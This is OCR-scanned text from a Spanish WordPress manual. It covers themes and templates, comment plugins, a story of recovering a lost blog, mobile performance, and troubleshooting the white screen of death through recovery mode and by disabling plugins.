(Tema) y «Template» (Plantilla) de forma inconsistente,
favoreciendo la confusién.

Aunque es relativamente facil darse cuenta de que la Plantilla
forma parte del Tema, cuando nos fijamos en la pantalla de
edicién de entradas.

Sea cual sea el Tema que has escogido para tu bitacora,
encontrards esta caracteristica, a no ser que se trate de un
Tema hecho «a medida» y no se piense en que pueden
quererse cambios.

Para este ejemplo usaré el Tema «Twenty Twenty» que
aparece por defecto en la version 5.3 de WordPress.

Atributos de entrada .

Plantilla

Plantil

Plantil

Independientemente del tema que estemos usando (insisto, si
no esta hecho «a medida»), se puede elegir si la entrada se
presenta con una u otra plantilla.

En concreto en «Twenty Twenty», como se ve en la imagen,
podemos crear la entrada usando la «plantilla por defecto», la
«Plantilla de ancho completo» o, la «Plantilla de portadax.

Otros temas llaman a esta seleccién de otra manera, como:

Cipcicres de disefio a

solowordorass.:

En este caso se llama «Opciones de disefio» y cuenta con
cuatro opciones, siendo las dos opciones centrales, las que
permiten elegir si la «barra de widgets» o «barra lateral» se
sitla antes (a la izquierda) o después (a la derecha) del
contenido del articulo.

Conclusién
Aunque «oficialmente» la diferencia no es tan clara, si hay
diferencia en su funcién y cometido. Espero haberlo aclarado.

Si bien entre la comunidad muchas veces no se presta
atencién a estas diferencias y se hace alusion a una u otra
indistintamente, tU ya tienes la capacidad de diferenciar sobre
gué estan hablando en cada caso.

Si quieres seguir ahondando en este asunto, puedes leer el
«codex» que muchos consideran «la biblia» de WordPress.

Aunque esta solo en idioma inglés, lo encontraras en El
CODEX de WordPress.

SOLOWORDPRESS
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5 formas de Gestionar Los Comentarios en

WordPress

Es cierto que hay varios sistemas para gestionar los
comentarios y para distinguirlos, los suelo separar en dos
categorias, los que hacen un tratamiento interno y los que lo
hacen externo.

Las ventajas y desventajas de cada sistema, son muy
personales, en este caso voy a mencionar plugins que
funcionan con los dos sistemas.

Disqus

DISQUS

solowordpress.es

E=ie plugin ne sa ha prabada con |as dltimas 3 vorsiones mayoras de WordPress, Puods qua e

naciie o puede que tanga profileman de compatitilidad cusndn s e eon s wersko

Disqus Comment System

iRecondcelo! aunque no seas un admirador, lo cierto es que lo
primero que viene a la cabeza cuando se trata de
comentarios, es el llamado «Disqus».

Sobre si es el mejor 0 no, ya hay mas dudas; en cualquier
caso, has de tener en cuenta su gran popularidad y, por otro
lado, ten en cuenta que hace ya un tiempo que no se
actualiza.

Personalmente creo que es bueno el sistema que emplean
para gestionar los comentarios, pero no me gusta el sistema
externo de gestidn que termina por ceder todos tus
comentarios a terceras partes.

Aunque tengas el control total (aparentemente) de la
administraciéon de los comentarios en tu sitio, ademas de la
posibilidad de exportar todos los comentarios, es un punto a
tener en cuenta.

La parte positiva de tener los comentarios en «Disqus», es
gue no dependes de un Unico servidor y puedes cambiar de
idea e irte a otro CMS, sin que tus comentarios se vean
afectados.

Otros puntos a tener en cuenta son:

* Hilos de conversaciones.

* Notificaciones de nuevos comentarios integrado.
*  Opciones de suscripcion.

*  Filtros de spam y malware.

Puedes descargar este Tema desde el repositorio de
WordPress
(https://es.wordpress.org/plugins/disqus-comment-system/).

Comment Moderator

CEAMENAMODER4FOR

solgwordpress.es

Erlé'.?_;] Comment Moderator
| Jor 99 Rabote
ea B

Este plugin me resulta interesante por la forma de atacar el
«problemax» de como gestionar los comentarios y su
moderacion.

() 99robots

DA rgar

En su forma inicial, WordPress sélo permite que los usuarios
con un perfil de «Administrador» o «Editor» moderen los
comentarios.

Este plugin afiade un perfil nuevo, la figura de «Comment
Moderator» que también tiene la facultad de moderar los
comentarios y este perfil, puede asignarse a cualquier usuario.

Lastima que este plugin esta disponible sélo en inglés, porque
€s una opcion interesante.

Puedes descargar este Tema desde el repositorio de
WordPress
(https://es.wordpress.org/plugins/wpsite-comment-moderator/).

Decent Comments

solowordprass.zs

Dusergar

@? Decent Comments

Este plugin aporta un nuevo modelo a la aproximacion
«normal» del tratamiento y presentacién de los comentarios.
Normalmente, los comentarios se presentan en la tipica forma
de cascada; lo que este plugin aporta, es cambiar la forma de
presentacion para que la cascada esté formada por el avatar y
un extracto del comentario, reduciendo asi el espacio
necesario.

Aunque no altera la forma de gestionar los comentarios,
aporta cierta frescura a su presentacion.

Disponible en inglés y en checo, cuenta con varias opciones
de trabajo, como:

Elige entre mostrar los comentarios enteros o s6lo un resumen
de ellos.

Determina el nimero de palabras que configuran el resumen.
Escoge la forma en que quieres presentar el final del resumen
(-.)

Ajusta el nimero de resimenes a mostrar.

Ajusta el tamafio del avatar.

Puedes descargar este Tema desde el repositorio de
WordPress
(https://es.wordpress.org/plugins/decent-comments/).
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Antispam Bee
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Antispam Bee
-l P ginkallektiv

¢

Siempre es recomendable instalar un plugin que te ayude a
gestionar los comentarios desde la perspectiva de la
seguridad; normalmente este plugin es el que trata con el
correo basura.

Existe un plugin muy conocido y muy utilizado, que es el
«Akismet Anti Spam», entre otras razones por que es el
desarrollado por la empresa «Automattic», desarrolladora de
WordPress.

«Antispam Bee» es una alternativa que bloquea los

comentarios y trackbacks de spam de forma efectiva, sin
captchas y sin enviar informacién personal a servicios de
terceros. Ademas ofrece una larga variedad de opciones.

Al estar disponible en 22 idiomas, puedes instalarlo y probar

sus bondades, entre las que cito:

* Confia en los comentaristas con un Gravatar.

*  Permite comentarios sélo en un idioma determinado.

* Bloquea o permite a comentaristas de ciertos paises.

* Valida la direccion IP de los comentaristas.

* Usa expresiones regulares.

* Selecciona los indicadores de correo basura para eliminar
comentarios directamente.

¢ Muestra estadisticas de correo basura en el escritorio,
incluyendo actualizaciones diarias de la tasa de deteccion
de correo basura y el total de comentarios de correo
basura bloqueados.

* Opcionalmente, excluye trackbacks y pingbacks de la
deteccion de correo basura.

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/plugins/antispam-bee/).

SOLO

AnyComment

Is AryComment the be:

commenting plugin?

Descargar.

AnyComment

Este plugin no cambia la forma de gestionar los comentarios,
pero cambia la forma y agilidad de los comentarios en tu sitio.

Es un plugin realizado en «react», lo que le otorga una gran
velocidad en su tratamiento. Tus visitantes pueden comentar
casi en tiempo real.

Quiza la caracteristica a destacar, es su integracion con las
redes sociales, que puedes escoger entre varias, para ofrecer
a tus visitantes.

Igualmente, hay que resaltar que es compatible con otros
plugin de gestién de comentarios, con lo que pasarse a este
plugin es cosa facil.

Conclusioén

Aunque en muchos casos la forma de gestionar los
comentarios no varia, ya que la formula nativa de WordPress
es buena, siempre hay espacio para alguna mejora o cambio.

Este no es un caso aislado, asi que si te interesa el tema,
puedes encontrar varios plugin que te ayuden en lo que
buscas.

Sélo has de visitar la pagina de WordPress:
Plugins para WordPress.
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Arreglar problemas en WordPress

Coémo arreglar problemas en
WordPress
Lo contaré por partes.

El lo expres6 muy bien diciendo: «una
historia de terror, provocada por la
dejadez (por mi parte) del
mantenimiento de este blog».

Lo sucedido

Cualquiera que conozca a mi amigo,
sabe que solia escribir una bitacora
sobre temas de informaética, tienda
electrénica y varias otras materias
relacionadas.

Pero ojo, digo «solia» porque no habia
tenido actividad en los dos ultimos
afios, pero ... <hace unas semanas,
entré otra vez en la web para retomar
la escritura de articulos (iba a
contaros la salida de la nueva
versiéon de Ubuntu) y me encuentro
con un blog sin entradas, como si
estuviera recién instalado y sin
ningun tipo de personalizacién en
cuanto al tema, plugins, etc.»

En este momento empieza mi mente
analitica a funcionar y, surgen
rapidamente las preguntas: ¢Has
tocado algo? ¢ Has borrado algo? ¢Has
instalado algo?

Y me acordé de la frase que
escuchamos constantemente los
«técnicos» de labios de los usuarios:
«yo no he hecho nada»; resulta que «en
este caso» es cierto

¢Qué ha pasado?

«Pues no tengo ni idea. Tras tanto
tiempo de abandono, de no actualizar
ni cuidar la web, se ha derrumbado.
O no.

Tengo una duda que
lamentablemente no voy a poder
resolver».

Probablemente ha ocurrido un error
relacionado con una actualizacion
automatica; lo cierto es que sera muy
dificil determinar lo sucedido.

En estos casos, se suele culpar al
alojamiento (Host) pero no se si es justo
hacer eso; si algo ha fallado en tu sitio
con WordPress y realmente «tu no has
hecho nada», no queda mas remedio
gue achacar la culpa a esa tercera parte
que es «el alojamiento» ¢ cierto?

En el espacio de dos afios, muchas
cosas han cambiado; en lo relativo al
mundo de Internet, dos afios es quizé el
equivalente a veinte afios «humanos»,
asi que ... Aciencia cierta, puedo decir
que ha habido actualizaciones de PHP,
MySQL, Apache, WordPress.

- sy ——
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Cualquiera de estas actualizaciones, puede haber quebrado el funcionamiento del
sitio (por no mencionar actualizaciones de Temas o Plugins de WordPress).

¢Y ahora que?
«Bueno, bueno, que no cunda el panico, Koppen ¢{Donde estan las copias de
seguridad?»

Cuando no sabemos la causa de un fallo, no podemos saber como arreglarlo, pero
siempre es conveniente poder recurrir a la copia de seguridad, es nuestro
salvavidas; recuerda que siempre te hemos aconsejado mantener una politica de
copias, recuerda el articulo de A vueltas con las copias de seguridad.

«El proveedor de Hosting ya me ha confirmado que no puede hacer nada, asi
que toca buscar por casa, siempre he tenido una copia del sitio en local, para
pruebas, testeos etc, asi que no habra problema.......

Upss. pues parece que en mi ordenador habitual no tengo nada. Ah, si, es
verdad, hace tiempo eliminé el Wamp porque me estaba dando algun problema
asi como todos los sitios y pruebas que tenia. Actualicé a la ultima version y
no volvi a recuperar el sitio.»

Después de mucho buscar en diferentes ordenadores, discos externos, pen drives e
incluso «diskettes» (Para los menores, eran sistemas de almacenamiento con la
importante capacidad de hasta 1,4 Giga bytes; puedes ver mas informacion en la
WikiPedia), ...

«Vale, vale (en estos momentos unos escalofrios recorren mi cuerpo y gotas de
sudor empiezan a caer por mi frente), tengo mas portatiles, unos 7 discos
duros externos con cosas que voy guardando por si algun dia hacen falta, algo
encontraré.»

Pero no se encontr6 nada.

Hay que hacer, lo que hay que hacer.

«Bueno, no es para tanto ¢{no?, apenas escribo en el blog, y el contenido que
hay esta obsoleto. Lo mejor que puedo hacer es borrar todo el contenido,
anular el dominio y dar por cerrado esta etapa en el basto mundo de internet.»

Después de mucho rebuscar, consiguié encontrar una copia de seguridad de la base
de datos, en un correo de una cuenta inactiva de 2015.

El mayor inconveniente es que WordPress, al igual que otras muchas aplicaciones
actuales de Internet, almacena sus cosas en la base de datos SQL, para ganar
velocidad.
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Aunque veamos que el navegador presenta una URL completa, del tipo: https://misitio.xxx/nombre-de-la-entrada, esa pagina
HTML no existe en realidad, WordPress la fabrica «sobre la marcha».

El nombre de la URL completa, es lo que se conoce como slug o permalink, que aunque no son términos equivalentes, suelen
usarse indistintamente.

Lo cierto es que el slug, es la parte que aparece después del nombre de dominio, y que hace referencia a una entrada o a una
pagina de WordPress (https://misitio.xxx/nombre-de-la-entrada/) y el permalink o enlace permanente en WordPress, hace
referencia a como se presenta el slug en la URL.

Asi que no hay archivos HTML que debamos o podamos recuperar, que contengan el texto de las entradas de la bitacora.

«Ok, tengo una copia de seguridad de la base de datos de finales del 2015, tengo todas las fotos de las publicaciones,
algo podré hacer.

Pero ¢,como ve voy a acordar de los textos?, los vuelvo a redactar, o pongo cuatro palabras identificando lo que era'y
listo.»

Afortunadamente, después de mucho pensar, se encontré una solucién parcial, «Asi que me pongo a buscar, la verdad
que con poca esperanza, ho pensaba que encontrase nada de un blog tan diminuto y de poca importancia como es este,
pero cual es mi sorpresa que a través de la pagina http:/lweb.archive.org veo que ahi esta mi blog, y puedo encontrar los
textos de las entradas que habia perdido.»

Asi que con la reconstruccion de una base de datos de hace unos afios y copiando el texto de las entradas que aparecian en un
recurso externo, se ha podido reconstruir el blog en un gran porcentaje.

Queda ponerlo al dia y adecuar todo al formato actual.

«Una vez todo de nuevo actualizado (si es que se puede decir asi), y tras buscar otro Hosting para alojar la web, el blog
vuelve a estar online y con toda su informacién.»

«... ¢para que sueltas todo este rollo?, pues por un lado para contar mi odisea en la recuperacion y puesta en marcha de
nuevo del blog, por otro (mucho mas importante), en hacer entender que las copias de seguridad son muy, pero que muy
importantes, si yo hubiera tenido una actualizada, nada de esto hubiera sucedido.

Asi que ya sabéis, no hagais como yo, y asegurar vuestros datos con una buena copia de seguridad.
Y para terminar, si queréis crear un sitio web profesional, bajo ningtin concepto uséis plataformas de estas que anuncian
tan sencillas que con un click basta y ya lo tienes todo hecho, si os lo tomais en serio, buscar vuestro propio dominio,

hacer una web chula (o encargarla si podéis pagarla) ...

El blog de Koppen sigue adelante, quien sabe cuando volveré a escribir algo en él, pero mi pequeiia criatura sigue viva y
flotando en este mundo llamado Internet.»
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WordPress en movil
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WordPress en movil.

A nadie se le escapa que la Internet de
hoy esta determinada (al menos su
configuracion) por los dispositivos
moviles.

Estos dispositivos, que pueden
conocerse con muchos nombres
distintos, como «teléfono inteligente» o
«smartphone» o «celular», y si es un
poco mas grande, «tablet» o «tableta»
WordPress no escapa a esta tendencia,
asi que debe adaptarse a los nuevos
tiempos y funcionar correctamente con
este tipo de dispositivos.

WordPress en mévil

Cuando hablo de WordPress en movil,
no me refiero a realizar las labores de
edicién, curado y publicaciéon, amén del
mantenimiento.

Si bien estas labores pueden realizarse
también con dispositivos moviles, ain
resulta un tanto engorroso, por la
cantidad de «teclas» que deben
pulsarse, traducidas a toques en la
pantalla.

Que si, que si, que si tienes una tableta
con teclado ... pero no hablo de un
ordenador portétil pequefio, hablo de un
dispositivo sin mas aditamentos fisicos,
una pantalla tactil de (como maximo 7"
[7 pulgadas = 17,78 centimetros]).

Para que se entienda, hablo del
comportamiento de WordPress cuando
se accede a él desde un dispositivo
movil.

¢Culpa del «software» o del
«hardware»?

Mucho se discute sobre este temay,
hay quienes priorizan el elemento
«mecanico» de la comunicacion, sobre
el elemento «ldgico».

Para no levantar ampollas ni crear
polémica, hablo de cuando WordPress
esta alojado en un buen servidor,
optimizado para que su uso sea veloz y
efectivo.

En iguales condiciones que se sirve a
un visitante que navega desde un
ordenador de sobremesa. En palabras
de nuestro estimado administrador
Sergio, «Lo que prima es una
maquina bien administrada, y con un
sistema estable pero flexible».

¢Paginas estaticas o dinamicas

Debido a la forma en que esta concebido WordPress, no hay diferencia en la
velocidad de aparicion de una pagina estatica y una pagina dindmica; si existen
diferencias en la velocidad de carga de las paginas, muy probablemente se debera a
la cantidad de elementos y su «peso».

Ahora bien, cuando las paginas son dinamicas y requieren de la intervencion del
usuario, es cuando pueden producirse inesperados tiempos de espera, «atascos» en
el funcionamiento,

En la gran mayoria de los casos, esos atascos no son achacables al WordPress;
cuando un «sysadmin» te entrega el sistema, a buen seguro, WordPress y los
demas elementos del servidor habran presentado la informacion, «antes de que
terminemos de solicitarla».

La cuestion esta en que hay muchos factores implicados en un buen resultado,
factores que muchas veces ni se tienen en cuenta o se «dan por obvios».

Dos escenarios diferenciados

Ordenador de sobremesa

En un escenario que llamaré «clasico», un visitante de tu sitio, estara rellenando un
formulario de contacto en su ordenador. Sin entrar mucho en detalle, la interaccién
entre el visitante («khumano») y la maquina con WordPress, necesita de la
intervencion de:

* El ordenador del humano.

*  El dispositivo enrutador/médem del humano.

* Los dispositivos (routers, DNS, switch) del proveedor de Internet («ISP»).

* El dispositivo enrutador/médem del servidor tu sitio con WordPress.

* El servidor u ordenador de tu sitio con WordPress.

Por muchos dispositivos que se vean implicados entre medias, la interaccién es la
misma, tras rellenar uno o varios campos del formulario, el humano hace clic sobre el
botdn de envio y la informacién viaja desde el ordenador del visitante a tu sitio,
donde se procesa y se devuelve (0 no) una respuesta.

Dispositivo movil

Sin embargo, en el escenario que llamaré «moderno», las interacciones se producen
con mucha mas frecuencia, las paginas pueden contener anuncios con botones que
necesitaran una respuesta si son accionados; no es necesario una pagina especifica
para que sea interactiva.

Ademas, no solo existe interaccion por haber pulsado un boton determinado, existen
un montoén de otros «disparadores» a tener en cuenta.

A esto sumamos el condicionante de ser un dispositivo de tamafio reducido; si bien a
grandes rasgos los elementos que intervienen son «los mismos», el que hablemos
de un dispositivo mévil quiere decir que hay muchos mas factores a sumar SOLO en
la parte del «ordenador del humano».

Estos factores que menciono son, el tamafio de la pantalla, la orientacién de la
pantalla (en vertical o en horizontal), la sensibilidad de la pantalla, el tamafio del
«viewport» (que aunque muchas veces coincide con el de la pantalla, no tiene
porqué ser el mismo). WordPress en mavil.

(Un inciso, ya mencioné en el articulo Hacer que WordPress esté listo para movil,
c6mo prepararnos.)

&Y qué le importa todo eso a WordPress?

A WordPress en si mismo, lo que se considera el «core» o corazén de la aplicacion,
no le importa nada, pero si al Tema de WordPress que para ofrecer una mejor
experiencia al visitante, ha de tener en cuenta muchas de las variaciones.

Puede haber una gran diferencia en la presentacion de una pagina, dependiendo del
tamafio y la orientacion de la pantalla (algun blogue de informacién ha de enviarse o
no, dependiendo de esos parametros).

55

SOLOWORDPRES



MANUALE

El Tema de WordPress es el responsable de la presentacién del contenido, una vez que se ha elegido un contenido, es potestad
del Tema escoger los tamafios adecuados y la posicion de los elementos, para que la apariencia final sea la deseada.

En un principio, los temas tenian dos partes distintas e incluso se creaba un subdominio exclusivo para el tratamiento de
dispositivos moviles.

La mayoria de los Temas de hoy, son «responsivos», lo que significa que es el mismo Tema, sin distincién alguna por el
dispositivo del usuario, pero si son adaptables dinamicamente a las caracteristicas particulares del dispositivo.

El reto de la velocidad
Por supuesto en estos dias frenéticos, es muy importante que el sitio responda rapidamente a los requerimientos del visitante.

Hay cosas que el Tema no puede ni debe controlar, imagina por ejemplo que el visitante cambia la orientacién del dispositivo, de
pantalla vertical a horizontal, mientras lee una entrada de tu blog.

Ese cambio no debe afectar a la informacion y es potestad del navegador (la App) del visitante el mostrar la informacion
correctamente.

Sin embargo hay casos en que al cambiar la orientacién de la pantalla, se crea un «espacio vacio» que no debe estar en blanco,
es entonces cuando el Tema debera estar preparado para enviar informacién rapidamente al navegador para «rellenar el hueco».

Esta comunicacioén entre el dispositivo y el servidor, debe producirse de forma transparente, sin intervencion del usuario.

Es casi 100% seguro que la potencia y velocidad del servidor y de WordPress y su tema, son muy superiores a la velocidad y
capacidad de respuesta del dispositivo mavil.

Por eso, el cuello de botella esta en el dispositivo, pero también en la velocidad de comunicacion entre ambas partes.
Para asegurar que esa velocidad es lo mas alta posible, el dispositivo debera ejecutar un programa bien perfilado y adecuado.

La programacion del navegador se realiza con el lenguaje javascript, Mientras mas depurado y optimizado esté el cédigo de esta
programacion, mas facil y acertada sera la respuesta del dispositivo y mas facil y acertada sera la comunicacion del dispositivo
con el Tema de WordPress.

Para contar con un conjunto de herramientas que permitan esa programacion 6ptima en javascript, esta lo que se conoce como
framework javascript.

Uno de los framework javascript mas usados y recientemente mejorado, es ReactJS y concretamente una version que ha venido
a llamarse ReactPress.

Y con la union de las tecnologias de WordPress y ReactJS se ha creado una nueva plataforma de trabajo, denominada Frontify.
WordPress en movil.

Frontify es la forma mas facil de crear sitios web a la velocidad

del rayo usando WordPress y ReactJS. Es de codigo abierto y
The React framework == de uso y explotacion gratuitos.

for WordPress .

# vous siag

No en vano la empresa Automattic, creadora de WordPress,
acaba de invertir cerca de un millén de Euros en esta
empresa.

* Got Startod = Try Dema in your Browser

solowore

Tienes mas informacion en la pagina oficial del proyecto (en
inglés): https://frontify.org.

Y si no tienes dominado aun el javascript, te propongo una
pagina en dénde no solo te ensefiaran, es un proyecto
dedicado a la integracion de WordPress y ReactJS y Frontify;
iAh! y esta en espafiol: https://reactpress.es.

SOLOWORDPRESS 56



MANUALES
Arreglar problemas en WordPress 2
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No, no hablo de «WordPress 2». hablo de la segunda parte de
este largo proceso que es depurar los errores y arreglar
problemas en WordPress.
iAh! ¢ Que no te has encontrado nunca la pantalla en blanco?
Eres muy afortunado. En todo caso, te conviene saber C

algunas de las posibles causas, para cuando te ocurra.

La sensacion de encontrarse con «un lienzo en blanco», mas
gue de alegria, es de frustracion, lo primero que piensas es
iHe perdido todo, #$%&**!

No pierdas la esperanza, analicemos lo que pasay jvamos
por partes!

Coémo arreglar problemas en WordPress 2 gy =% e 1

En cualquier desarrollo informéatico y, WordPress no deja de & - | et g 0LOWOJG p’ ‘€SS.eS
ser una aplicacion informatica, pueden ocurrir fallos. La

diferencia es que en algunos casos son errores y en otros

casos son «despistes».

Para hacer mas divertido el proceso, resulta que algo que para ti es un despiste, puede significar un error muy importante a 0jos
de WordPress.

Los que tenemos cierta experiencia programando en PHP, hemos sufrido alguna vez el «despiste» de olvidar un «;», lo que puede
haber causado que toda una funcion deje de funcionar, lo que a su vez hace que toda la aplicacion (¢ WordPress?) deje de
funcionar.

Claro, si eres de los que no toca el codigo y se limita a implementar Plugins o Temas, esto no va contigo ... Si tienes suerte.
Hay casos en los que un Plugin puede no ser compatible con otro que tengas instalado y ...

Con la aparicion de innovaciones en WordPress como el «Modo de Recuperacion de Errores Fatales», la pantalla en blanco cada
vez se ve menos. No es que sea un método magico, es que cuenta con toda la comunidad de programadores dedicados a
arreglar y prevenir problemas.

Pero bien, como dije antes vamos por partes.

¢Qué es la Pantalla Blanca de la Muerte?
Este nombre tan original, es solo una copia de una muy popular (por desgracia) pantalla a la que los que estabamos hace afios
en el mundillo le teniamos «poco carifio».

¢ Te resulta conocida?
Al igual que cuando aparecia esa pantalla azul, la pantalla blanca en WordPress
significa: «Algo ha ido realmente mal».

La mayor diferencia es que WordPress no da ninguna informacion de lo ocurrido lo
gue hace que sea aun mas dificil el proceso de depuracion, jno hay ninguna pista!

¢Qué causa la Pantalla Blanca de la Muerte?

A grandes rasgos, hay tres razones por las que puede aparecer una pantalla en
blanco:

* Un error generado por un Plugin

g e g gen * Un error generado por el Tema que estas usando.

Owordpress'es * Un error en la base de datos SQL

Como puedes pensar, los dos primeros son normalmente los culpables y, esta claro, los mas faciles de identificar y solucionar.

PEIFO00, DATEStamy 48hE1EES

Como ya comenté existe un «modo reparacion» que te permitird recuperar tu sitio en muchos de los casos.

Este modo apareci6 en la version 5.2 y es llamado Fatal Error Recovery Mode o «Modo de Recuperacion de Errores Fatales» en
espafiol.

Se trata de que tengas la posibilidad de acceder a la administracion de tu WordPress para solventar errores; sin este modo, un
error fatal dejaria el sitio inservible e inaccesible.

En palabras de «Felix Arntz», miembro del equipo de desarrollo del «core» de WordPress, el proceso de aparicion del «<modo
reparacion» es:
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When a fatal error occurs, a user-facing error screen will display that informs the userlvisitor that the site is experiencing
technical difficulties. More importantly though, when such an error occurs, an email will be sent to the admin email
address, informing about the issue and including a secret link to new feature called the “recovery mode”. Clicking this
link will have the user enter this recovery mode, which works by placing a cookie on the current client.

Lo que en espafiol traduzco como:

«Cuando ocurre un error fatal, se mostrara una pantalla de error orientado al usuario, que informa al usuario / visitante
que el sitio esta experimentando dificultades técnicas. Sin embargo, lo que es mas importante, cuando se produce un
error de este tipo, se enviara un correo electrénico al administrador, informando sobre el problema e incluyendo un
enlace secreto a la nueva funcién llamada «<modo de recuperacion». Al hacer clic en este enlace, el usuario ingresara a
este modo de recuperacion, que funciona colocando una cookie en el cliente».

y continua con la explicacion del funcionamiento, que traduzco directamente:

«Cuando esta en modo de recuperacion, los complementos y temas (también denominados «extensiones») que estan
causando un error fatal se ponen en pausa para ese cliente, lo que garantiza que puedan solucionar estos errores y
acceder a su back-end de administrador como de costumbre. Después de ingresar al modo de recuperacion, el usuario
debe iniciar sesién. Sin embargo, debe resaltarse que el modo de recuperacion en si no esta vinculado a un usuario
especifico, sino solo a la cookie existente en el cliente».

El correo recibido sera algo similar a:
iHola!

Desde WordPress 5.2 existe una funcion incorporada que detecta cuando un plugin o tema provoca un error fatal en su
sitio, y le notifica con este correo electrénico automatizado.

En este caso, WordPress capturé un error con uno de sus plugins, Yoast SEO.

En primer lugar, puede visitar su sitio web ( https://xxx.xxxxxx.xxx/ ) y compruebe si hay cualquier problema visible. A
continuacioén, puede visitar la pagina donde se capturé el error ( https:/Ixxx.xxxxx.xxx/wp-admin/admin-ajax.php ) y de
verificacidn de los problemas visibles.

Por favor, pédngase en contacto con su proveedor de alojamiento para la asistencia de investigar esta cuestion.

Si su sitio aparece roto y nho se puede acceder a su panel de control, normalmente, WordPress tiene ahora una especial
«modo de recuperacién». Esto permite que se conecte de forma segura a su tablero de instrumentos e investigar mas.

Para mantener su caja fuerte del sitio, este enlace expirara en 1 dia. No se preocupe por eso, sin embargo: un nuevo
enlace sera enviado por correo electronico si el error se produce de nuevo después de que caduque.

En la busqueda de ayuda con este problema, se le puede pedir para algunos de los siguientes datos:
WordPress versién 5.3.2
tema actual: Centro de Salud (versién 7)
plug-in actual: Yoast SEO (versién 13.0)
PHP version 7.0.33-15 + 0 ~ ~ 20.200.123,26 + debian10 1.gbpb9e953

Como puedes observar, resulta una herramienta muy util, solo debes asegurarte de que tu correo de adminstrador es correcto, 0
no podras recibir este aviso.

¢Qué pasa si el modo de recuperacién no funciona?
Si por alguna razén no has recibido el correo de aviso con el enlace de recuperacion, puedes intentar asegurarte de que la
direccion de correo sea correcta.

Como eres administrador del sitio (si no lo eres, esto simplemente no es para ti) puedes acceder al sitio via FTP y afiadir un
pequefio trozo de codigo en tu archivo functions.php o a tu plugin de personalizaciones:
add_filter( 'recovery_mode_email', function( $email_data ) {

$email_data['to"] = 'correo_del_admin@midominio.xxx";

return $email_data;

»;
o0 incluso mas facil, incluye esta linea en el archivo wp-config.php:
define(RECOVERY_MODE_EMAIL', ‘correo_del_admin@dominio.xxx');

En cualquier caso, veamos otras formas de depurar errores en WordPress sin ese correo de recuperacion.
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Pasos a seguir antes de tocar
Antes de tocar nada (ya sé que a muchos nos cuesta, pero te aconsejo que en este caso lo hagas) hay que hacerse cuatro
preguntas:

¢Has actualizado recientemente algin Plugin o Tema?
Cualquier cambio en el cédigo, por minimo que sea, puede haber generado incompatibilidad con otro Plugin o parte del «core» de
WordPress (esta es una de las razones por las que recomiendo hacer pruebas siempre en un taller de montaje.

¢Has instalado alguin Plugin recientemente?

Al instalar un Plugin, estas afiadiendo un trozo de c6digo mas o menos grande a tu sitio. Si el codigo no ha sido probado
adecuadamente, puede llevarte a una pantalla blanca. En la mayoria de los casos, el equipo de prueba y evaluacion de Plugins,
se aseguran de que no haya cédigo con errores en el repositorio, pero no pueden probar todos los casos posibles y su interaccion
con otros Plugin. Ya no hablamos de si el Plugin es de terceras partes o hecho por ti.

¢Has instalado algin Tema recientemente?
Mas a menudo de lo deseable, la Pantalla Blanca de la Muerte aparece por un error en el «front end». Si aparece la pagina de
acceso a administracion, pero la parte publica esta en blanco, lo méas probable es que tengas un problema con el Tema.

¢Hay algun aviso de error en tu servidor?
En muchos casos, si tienes el alojamiento contratado y el servidor tiene problemas, veras avisos y noticias en las redes sociales.
Si el problema te atafie s6lo a ti, es conveniente verificar los registros de error de tu WordPress o del PHP o del Apache o ...

Vale, ya estamos listos

Si ya tienes todas las respuestas a las preguntas anteriores, debes preparar dos herramientas para continuar con la depuracién

de errores en WordPress.

1) Uncliente FTP Hay muchos programas para este servicio, algunos exclusivos del sistema operativo que usas y otros
multiplataforma, como es el caso de Filezilla.

2) Un editor de cédigo. Como sabes, esto no es mas que un editor de texto plano y, al igual que el anterior, hay muchos y
variados. Con un poco de suerte, no necesitaras usarlo, pero siempre viene bien tener uno a mano.

Las pruebas y los pasos a seguir, se diferenciaran por el escenario en que te encuentras.

Escenario uno: Tienes acceso a la pagina de acceso.
Si tienes acceso a la pagina de entrada, los pasos a seguir son relativamente mas sencillos, ya que la funcién de administracion
(el escritorio) nos facilita la tarea.

Como puedes imaginar, son pasos que hay que seguir de forma légica:

1) Desactiva cualquier Plugin que hayas instalado o actualizado recientemente. Como ya comenté, una de las causas
mas probables de la aparicion de la pantalla blanca, es la instalacién o actualizacion de algun Plugin. Ya que puedes
acceder al escritorio, dirigete a la lista de Plugin, localiza el posible culpable y desactivalo.

2) Desactiva todos los demas plugin. Aunque resulte tedioso, si el paso anterior no ha dado resultado, deberas proceder
a desactivar cada uno de los Plugin instalados, mientras pruebas a ver si se ha solucionado el error.

3) Desactiva tu Tema. Siempre es recomendable tener un tema genérico (el que viene con la versidon que usas — Twenty
Twenty el de la version 5.4) de forma que puedes desactivar el tema que usas y aun asi, ver tu sitio WordPress
funcionando.

4) Revisa tu servidor en busca de problemas de configuracion. Aunque este punto es, permiteme llamarle «delicado», si
no eres sysadmin, contacta con tu servicio de alojamiento, quiza ellos te pueden dar una explicacion o una solucion.

5) Comprueba la base de datos. Este es un punto aun més delicado que el anterior, y espero que no tengas que llegar a
esto. Voy a apuntar sin embargo, algunas cosas que puedes hacer sin la necesidad de solicitar la intervencion de un
sysadmin, para realizar estos pasos, deberas contar con un acceso a tu base de datos; el acceso en la mayoria de los
casos, se realiza con la herramienta phpMyAdmin:

*  Verifica que la base de datos existe.
*  Verifica que al menos existen las doce tablas de WordPress.
*  Verifica que tanto el nombre como el prefijo de tablas, son los correctos en el archivo wp-config.php.

Recuerda que tienes una explicacion del funcionamiento de la base de datos en la
Guia para principiantes de la base de datos de WordPress.

Escenario dos: No tienes acceso al escritorio
Bien, quiza este escenario es mas divertido para algunos, lo cierto es que hacer los cambios con un acceso FTP en lugar de a
través del panel de administracion, resulta en muchos casos més rapido y facil.

Paso 1 - Deshabilita los plugin.

Con tu herramienta cliente FTP debes acceder a tu alojamiento, en el servidor remoto, dirigete al directorio wp-content y dentro de
ese directorio encontraras varios subdirectorios, uno de ellos se llama plugins. Debes seleccionar ese directorio y renombrarlo a
algo como plugins-viejo. Con esta accion habras deshabilitado todos los plugin de tu sitio asi que procede con cuidado pero, si tu
sitio funciona, habras identificado rapidamente donde estéa el problema.
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Para identificar exactamente cudl es el plugin causante del
problema, vuelve a renombrar el directorio de plugins-viejo a
plugins, a continuacién expande el directorio; a continuacién
debes repetir la operacién de renombrar el directorio, con
cada uno de los plugin que aparecen.

Renombrando el directorio de «nombre_de_plugin» a
«nombre-de-plugin-viejo», consigues que el plugin sea
desactivado automaticamente por WordPress, al no encontrar
el directorio esperado.

